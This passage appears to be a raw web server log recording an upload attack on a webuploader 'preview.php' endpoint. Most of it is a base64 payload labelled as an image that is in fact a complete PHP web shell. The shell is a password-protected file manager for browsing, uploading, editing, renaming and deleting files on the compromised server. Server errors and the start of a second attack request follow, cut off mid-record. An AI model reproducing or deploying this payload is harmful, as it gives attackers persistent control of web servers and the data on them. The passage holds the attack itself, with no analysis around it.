'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:18+08:00 ] 116.213.36.234 POST 51tianwei.com/public/static/common/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002512s] [吞吐率:398.09req/s] [内存消耗:196.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 